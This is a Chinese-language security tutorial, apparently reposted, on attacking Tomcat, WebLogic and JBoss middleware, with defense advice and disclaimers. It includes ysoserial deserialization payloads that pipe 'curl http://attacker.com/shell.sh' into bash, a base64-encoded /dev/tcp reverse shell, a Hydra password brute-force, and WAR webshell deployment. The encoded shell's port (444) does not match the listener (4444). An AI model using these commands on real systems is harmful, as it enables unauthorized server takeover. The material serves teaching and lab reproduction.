本文仅用于技术研究,禁止用于非法用途。
Author:枷锁

文章目录

  • 什么是中间件
  • 中间件漏洞
    • (1) Tomcat
    • (2) Weblogic
    • (3) JBoss漏洞

什么是中间件

中间件(Middleware)是指一种软件组件,其作用是在不同的系统、应用程序或服务之间传递数据和消息。它通常位于应用程序和操作系统之间,负责在不同的应用程序之间传递数据、协调不同应用程序之间的通信,以及处理网络请求等。

中间件就像计算机系统的"万能管家",在操作系统和应用软件之间架起桥梁,既当翻译协调沟通,又跑腿传递数据,还包办各种杂务,让开发者能专注核心业务。​

中间件通常是一种插件式架构,允许开发人员将其集成到现有的应用程序中。它可以提供诸如身份验证、授权、缓存、负载均衡、日志记录、安全性等功能,以简化应用程序的开发和部署过程

从广义上讲,中间件涵盖了从 Web 服务器,到身份验证系统,再到消息传递工具等一切内容。
从另个一角度来讲,中间件是:jboss、weblogic、tomcat、apache等。中间件的使用可以提高应用程序的可扩展性、可靠性、可维护性和安全性。

中间件漏洞

中间件漏洞是指在中间件软件中存在的安全漏洞,这些漏洞可能被攻击者利用来对系统进行攻击和渗透。中间件漏洞通常包括以下几种:

  1. 代码注入漏洞:攻击者可以通过向中间件发送恶意代码,从而执行任意代码或获取敏感数据。
  2. 跨站脚本漏洞:攻击者可以通过在中间件输出的网页中插入恶意脚本,来窃取用户信息或进行其他恶意行为。
  3. SQL注入漏洞:攻击者可以通过在中间件输入的SQL查询中插入恶意代码,从而执行任意SQL查询或获取敏感数据。
  4. 认证和授权漏洞:攻击者可以利用中间件的认证和授权机制的漏洞,来绕过访问控制,获取系统权限。
  5. 文件包含漏洞:攻击者可以利用中间件的文件包含功能,来包含恶意文件并执行任意代码。

为了保护中间件的安全,开发人员需要采取一系列安全措施,如开发安全代码、定期更新中间件、限
制访问权限、配置防火墙等。此外,使用漏洞扫描工具可以帮助开发人员及时发现和修复中间件漏


(1) Tomcat

Tomcat是一个开源的Java Servlet容器,由Apache软件基金会开发。它可以作为独立的Web服务器或应用服务器,也可以作为其他Web服务器的插件来使用,如Apache HTTP Server。Tomcat支持Java Servlet、JavaServer Pages(JSP)、Java Expression Language(EL)和WebSocket等Java技术,并提供了许多企业级特性,如集群、安全性和可扩展性。

A. Tomcat密码爆破到WAR包部署

  1. 部署WAR包

WAR(Web Application Archive)是一种Web应用程序的打包格式,用于将Web应用程序打包成一个 单独的文件,便于部署和分发。WAR文件实际上是一种JAR(Java Archive)文件,其中包含了Web应用程序的全部内容,包括Java类、HTML、JSP、Servlet、XML配置文件、静态资源(如图片、CSS、JavaScript文件等)等。WAR文件还可以包含一些特定于Web应用程序的配置文件,例如 web.xml、context.xml等。

WAR文件通常是通过Web服务器部署的,例如Tomcat、Jetty等。在部署Web应用程序时,Web服务器会将WAR文件解压缩并将其部署到指定的目录中,然后启动Web应用程序。通过将Web应用程序打包成WAR文件,可以方便地将应用程序部署到不同的Web服务器中,也可以方便地将应用程序分发给其他人使用。
制作war包
将jsp马添加到压缩文件,然后将压缩文件的zip后缀修改为war

webshell路径: ip:port/war包名字/文件名
ip:port/war包名字/文件名
在这里插入图片描述


(2) Weblogic

WebLogic Server 是美国甲骨文( Oracle )公司开发的一款适用于云环境和传统环境的应用服务中间件,确切的说是一个基于JavaEE 架构的中间件,它提供了一个现代轻型开发平台,用于开发、集成、部署和管理大型分布式Web 应用、网络应用和数据库应用的Java 应用服务器。将Java 的动态功能和Java Enterprise 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
Weblogic特征

默认端口:7001
Web界面:Error 404--Not Found
控制后台:http://ip:7001/console

Weblogic历史漏洞

漏洞主要影响版本:

10.3.6.0
12.1.3.0
12.2.1.1
12.2.1.2
12.2.1.3
14.1.1.0

WebLogic反序列化漏洞详解

一句话概括
WebLogic反序列化漏洞是指攻击者通过构造恶意的序列化数据,利用WebLogic服务器对Java反序列化的不当处理,实现远程代码执行(RCE),从而控制目标服务器。


1. 漏洞原理
(1) 什么是序列化与反序列化?

  • 序列化(Serialization):将Java对象转换为字节流(便于存储或传输)。
  • 反序列化(Deserialization):将字节流还原为Java对象。

(2) 漏洞成因
WebLogic在处理某些Java对象(如T3IIOP协议传输的数据)时,未严格检查反序列化数据的安全性,导致攻击者可以构造恶意数据,触发服务器执行任意代码。

关键点

  • T3协议:WebLogic默认使用的RMI通信协议,传输数据时自动反序列化。
  • Java反序列化漏洞:攻击者利用ObjectInputStream的反序列化机制,加载恶意类(如InvokerTransformerCommonsCollections链)。

2. 常见WebLogic反序列化漏洞

漏洞编号影响版本利用方式核心利用链
CVE-2015-4852WebLogic 10.3.6.0, 12.1.2.0T3协议反序列化CommonsCollections1
CVE-2016-0638WebLogic 10.3.6.0, 12.1.3.0T3协议反序列化CommonsCollections3
CVE-2016-3510WebLogic 10.3.6.0, 12.1.3.0IIOP协议反序列化
CVE-2017-3248WebLogic 10.3.6.0, 12.1.3.0JRMP反序列化
CVE-2018-2628WebLogic 10.3.6.0, 12.1.3.0T3协议反序列化
CVE-2019-2725WebLogic 10.3.6.0, 12.1.3.0wls9-async组件
CVE-2020-2555WebLogic 12.2.1.3.0IIOP协议反序列化

3. 漏洞利用方式
(1) 攻击流程

  1. 探测目标:扫描WebLogic默认端口(7001)是否开放。
  2. 构造Payload:使用ysoserial生成恶意序列化数据(如CommonsCollections链)。
  3. 发送Payload:通过T3/IIOP协议发送恶意数据,触发反序列化漏洞。
  4. 执行命令:成功RCE后,执行whoamicurl等命令,获取Shell。

(2) 常用工具

  • ysoserial:生成反序列化Payload(java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com/shell.sh | bash")。
  • WebLogicScan:自动化漏洞检测(python weblogicScan.py -u http://target:7001)。
  • BurpSuite:手动构造T3协议请求,发送Payload。

4. 漏洞复现(以CVE-2018-2628为例)
步骤1:环境搭建

docker pull vulhub/weblogic:10.3.6.0
docker run -d -p 7001:7001 vulhub/weblogic:10.3.6.0

步骤2:生成Payload

java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin

步骤3:发送Payload

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("target_ip", 7001))
with open("payload.bin", "rb") as f:s.send(f.read())
s.close()

步骤4:获取反弹Shell

nc -lvnp 4444

5. 漏洞防御
(1) 临时缓解

  1. 禁用T3协议(适用于非集群环境):
    # 修改WebLogic配置文件
    <protocol>T3</protocol>
    <enabled>false</enabled>
    
  2. 升级补丁:Oracle官方已发布修复版本(如10.3.6.0.210315)。

(2) 长期防护

  1. WAF拦截:过滤T3/IIOP协议中的恶意Payload。
  2. 最小权限运行:WebLogic服务使用低权限账户(非root)。
  3. 网络隔离:限制WebLogic端口(7001)仅允许内网访问。

6. 总结

  • 漏洞本质:WebLogic对T3/IIOP协议的反序列化未做安全校验。
  • 利用方式:通过ysoserial构造恶意Payload,触发RCE。
  • 防御关键:禁用T3协议、升级补丁、网络隔离。

(3) JBoss漏洞

JBoss漏洞详解

一句话概括
JBoss(现称 WildFly)是一款基于Java EE的开源应用服务器,由于默认配置不安全、反序列化漏洞等问题,常被黑客攻击,导致远程代码执行(RCE)敏感信息泄露等风险。


1. JBoss常见漏洞类型

漏洞类型漏洞编号影响版本利用方式
JMX Console未授权访问CVE-2007-1036JBoss 4.x直接访问/jmx-console部署恶意WAR包
反序列化漏洞CVE-2015-7501JBoss 5.x/6.x利用JMXInvokerServlet执行任意代码
EJBInvokerServlet漏洞CVE-2013-4810JBoss 4.x/5.x通过EJB接口上传恶意代码
JMS反序列化漏洞CVE-2017-7504JBoss 4.x利用JBossMQ组件执行命令
管理后台弱口令-所有版本爆破admin/admin等默认账号

2. 漏洞利用实战
(1) JMX Console未授权访问(CVE-2007-1036)
漏洞原理
JBoss的/jmx-console页面默认无权限控制,攻击者可直接访问并部署恶意WAR包,获取服务器控制权。

攻击步骤

  1. 探测目标:访问http://target:8080/jmx-console,确认是否未授权访问。
  2. 制作WAR木马
    jar -cvf shell.war shell.jsp  # 将JSP木马打包成WAR
    
  3. 远程部署
    • 进入jmx-console → 搜索flavor=URL,type=DeploymentScanner
    • void addURL()方法中填入WAR包地址(如http://attacker.com/shell.war
    • 点击Invoke部署,访问http://target:8080/shell/shell.jsp获取WebShell。

(2) JBoss反序列化漏洞(CVE-2015-7501)
漏洞原理
JMXInvokerServlet未对反序列化数据做安全检查,攻击者可构造恶意Java对象,触发RCE。

攻击步骤

  1. 生成Payload(使用ysoserial):
    java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com/shell.sh | bash" > payload.bin
    
  2. 发送Payload
    curl -X POST --data-binary @payload.bin http://target:8080/invoker/JMXInvokerServlet
    
  3. 获取反弹Shell
    nc -lvnp 4444
    

(3) JBoss管理后台弱口令攻击
漏洞原理
JBoss默认账号admin/adminadmin/password等易被爆破,登录后可上传WAR木马。

攻击步骤

  1. 爆破密码(使用Hydra):
    hydra -l admin -P passlist.txt target http-form-post "/jboss-console/login.do:j_username=^USER^&j_password=^PASS^&login=Login:Invalid"
    
  2. 登录后台 → 进入Web Application (WAR) → 上传shell.war
  3. 访问http://target:8080/shell/shell.jsp执行命令。

3. 漏洞防御方案
(1) 临时修复

  1. 禁用JMX Console
    <!-- 修改$JBOSS_HOME/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml -->
    <security-domain>java:/jaas/jmx-console</security-domain>
    
  2. 删除危险组件
    rm -f $JBOSS_HOME/server/default/deploy/http-invoker.sar
    
  3. 修改默认密码
    # 修改$JBOSS_HOME/server/default/conf/props/jmx-console-users.properties
    admin=NewStrongPassword!
    

(2) 长期防护

  1. 升级到WildFly:JBoss已更名为WildFly,建议迁移至最新版本。
  2. 网络隔离:限制JBoss端口(8080、9990)仅内网访问。
  3. WAF防护:拦截恶意反序列化数据(如java.rmi.server关键字)。

4. 总结

  • 高危漏洞:JBoss因默认配置松散,易被未授权访问/反序列化攻击。
  • 利用方式:通过jmx-console部署WAR、JMXInvokerServlet反序列化、弱口令爆破。
  • 防御关键:禁用危险接口、升级版本、强密码策略。

⚠️ 免责声明:本文仅用于安全研究,禁止非法渗透测试!

宇宙级免责声明​​
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/89696.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/89696.shtml
英文地址,请注明出处:http://en.pswp.cn/bicheng/89696.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

现代前端开发流程:CI/CD与自动化部署实战

目录 引言现代前端开发面临的挑战CI/CD基础概念前端CI/CD流程设计实战案例&#xff1a;构建前端CI/CD管道自动化部署策略监控与回滚机制最佳实践与优化建议总结 引言 随着前端技术的飞速发展&#xff0c;现代Web应用变得越来越复杂。前端项目不再只是简单的HTML、CSS和JavaS…

MySQL EXPLAIN深度解析:优化SQL性能的核心利器

MySQL EXPLAIN深度解析&#xff1a;优化SQL性能的核心利器 引言&#xff1a;数据库性能优化的关键 在数据库应用开发中&#xff0c;SQL查询性能往往是系统瓶颈的关键所在。当面对慢查询问题时&#xff0c;EXPLAIN命令就像数据库工程师的X光机&#xff0c;能够透视SQL语句的执行…

Sentinel配置Nacos持久化

前言&#xff1a; Sentinel在使用控制台时进行配置是纯内存操作&#xff0c;并没有提供默认的持久化措施&#xff0c;一旦服务重启会导致配置的流控、熔断等策略失效。Sentinel官方提供了多种持久化方式如&#xff1a;Redis、Zookeeper、Etcd、Nacos以及其他方式等。此文以Naco…

Java学习第五十五部分——在软件开发中的作用

目录 一. 前言提要 二. 主要作用 1. 跨平台能力&#xff08;核心优势&#xff09; 2. 企业级应用开发&#xff08;主导领域&#xff09; 3. 安卓应用开发&#xff08;关键角色&#xff09; 4. 大数据处理&#xff08;重要组件&#xff09; 5. 嵌入式系统 & IoT 6. 桌…

Keil编译文件格式转换全解析

目录 介绍 Keil自带常用命令概览 fromelf介绍 Keil可烧录文件概述 核心差异概览 .axf文件获取 .hex文件获取 .bin文件生成 ​编辑 补充:生成可执行文件的汇编代码&#xff08;.asm文件&#xff09; Keil自带常用命令详解 核心功能​​ ​​格式转换​​ ​​输出路…

World of Warcraft [CLASSIC] The Ruby Sanctum [RS] Halion

World of Warcraft [CLASSIC] The Ruby Sanctum [RS] Halion 红玉圣殿海里昂 清小怪小德可以睡龙类 打完3个副官就激活 【海里昂】 第一阶段&#xff1a;外面环境&#xff08;现实位面&#xff09;火抗光环 第二阶段&#xff1a;内场环境&#xff08;暗影环境&#xff09;暗…

Excel基础:格式化

Excel格式化是指对单元格内容进行视觉呈现方式的调整&#xff0c;它不改变实际数据内容&#xff0c;但能显著提升数据的可读性&#xff0c;根据格式应用的范围&#xff0c;格式可分为"单元格格式"和"数据格式"。本文介绍了这两类格式的主要设置方法&#x…

基于STM32单片机车牌识别系统摄像头图像处理设计的论文

摘 要 本设计提出了一种基于 32 单片机的车牌识别系统摄像头图像处理方案。该系统主要由 STM32F103RCT6 单片机核心板、2.8 寸 TFT 液晶屏显示、摄像头图像采集 OV7670、蜂鸣器以及 LED 电路组成。 在车牌识别过程中&#xff0c;STM32F103RCT6 单片机核心板发挥着关键的控制作用…

React hooks——useCallback

一、简介useCallback 是 React 提供的一个 Hook&#xff0c;用于缓存函数引用&#xff0c;避免在组件重新渲染时创建新的函数实例&#xff0c;从而优化性能。1.1 基本语法const memoizedCallback useCallback(() > {// 函数逻辑},[dependencies] // 依赖项数组 );第一个参数…

跨个体预训练与轻量化Transformer在手势识别中的应用:Bioformer

目录 一、从深度学习到边缘部署&#xff0c;手势识别的新突破 &#xff08;一&#xff09;可穿戴设备 边缘计算 个性化医疗新可能 &#xff08;二&#xff09;肌电信号&#xff08;sEMG&#xff09;&#xff1a;手势识别的关键媒介 &#xff08;三&#xff09;挑战&#…

无线调制的几种方式

不同的调制方式在 频谱效率、抗干扰能力、功耗、实现复杂度 等方面存在显著差异。以下是主要调制方式的对比分析&#xff1a;一、调制方式的核心区别调制方式原理频谱效率抗干扰能力功耗典型应用AM改变载波振幅低差&#xff08;易受噪声影响&#xff09;较高广播电台FM改变载波…

五分钟系列-网络性能测试工具iperf3

目录 一、iperf3 是什么&#xff1f; 二、为什么需要 iperf3&#xff1f; 三、iperf3 的主要测量指标 四、安装 iperf3 五、基础使用模式&#xff08;命令行参数示例&#xff09; 1. 启动 Server 端 (必须) 2. 启动 Client 端进行测试 (最常见) 基本 TCP 测试 (10秒) …

LiFePO4电池的安全详解

一、电池的制作过程 锂离子电池的五大核心组成部分:正极、负极、电解液、隔膜和外壳。 正极:把正极材料(如LiFePO₄)+ 导电剂(如炭黑)+ 粘结剂(如PVDF)混合成浆料,涂覆在铝箔上,然后烘干、辊压。 负极:把负极材料(如石墨)+ 导电剂 + 粘结剂混合成浆料,涂覆在铜…

S7-200 SMART PLC: SMART 200 CPU 密码设置及权限设置方式

在工业自动化控制中&#xff0c;SMART 200 CPU 的安全稳定运行直接关系到整个系统的可靠运作&#xff0c;而组态系统安全则是保障 SMART 200 CPU 安全的核心环节。通过合理设置密码及相关安全参数&#xff0c;能为 SMART 200 CPU 构建一道坚固的防护屏障&#xff0c;有效保护用…

Datawhale AI数据分析 作业

一、 贷款批准预测数据集1. 数据探索与理解prompt 1:这是训练数据&#xff0c;目的是贷款批准预测数据集上训练的深度学习模型生成的数据&#xff0c;旨在使用借款人信息预测贷款批准结果&#xff0c;它通过模拟真实贷款审批场景&#xff0c;帮助金融机构评估借款人风险。 请展…

100条常用SQL语句

一、基本查询语句 查询所有数据&#xff1a; SELECT * FROM 表名; 查询特定列&#xff1a; SELECT 列名1, 列名2 FROM 表名; 条件查询&#xff1a; SELECT * FROM 表名 WHERE 条件; 模糊查询&#xff1a; SELECT * FROM 表名 WHERE 列名 LIKE ‘模式%’; 排序查询&#xff1a; …

Visual Studio编译WPF项目生成的文件介绍

文章目录一、Summarize主要输出文件1. **可执行文件 (.exe)**2. **程序集文件 (.dll)**3. **PDB 文件 (.pdb)**资源与配置文件1. **XAML 编译文件 (.baml)**2. **资源文件 (.resources)**3. **应用程序配置文件 (.config)**依赖文件1. **引用的 NuGet 包**2. **引用的框架程序集…

「Chrome 开发环境快速屏蔽 CORS 跨域限制详细教程」*

Chrome 开发环境快速屏蔽 CORS 跨域限制【超详细教程】 &#x1f4e2; 为什么需要临时屏蔽 CORS&#xff1f; 在日常前后端开发中&#xff0c;我们经常会遇到这样的报错&#xff1a; Access to fetch at https://api.example.com from origin http://localhost:3000 has been …

Linux命令大全-df命令

一、简介df&#xff08;英文全拼&#xff1a;display free disk space&#xff09; 命令用于显示或查看文件系统&#xff08;或磁盘&#xff09;的空间使用情况&#xff0c;包括总容量、已用空间、可用空间、使用率和挂载点等信息。二、语法df [选项]... [文件]...参数参数说明…

《程序员修炼之道》第一二章读书笔记

最近在看《程序员修炼之道&#xff1a;通向务实的最高境界》这一本书&#xff0c;记录一下看书时的一点浅薄感悟。务实程序员不仅是一种技能水平的体现&#xff0c;更是一种持续修炼、不断反思并主动承担责任的过程。对自己的行为负责是务实哲学的基石之一。在重构CRM时面对文档…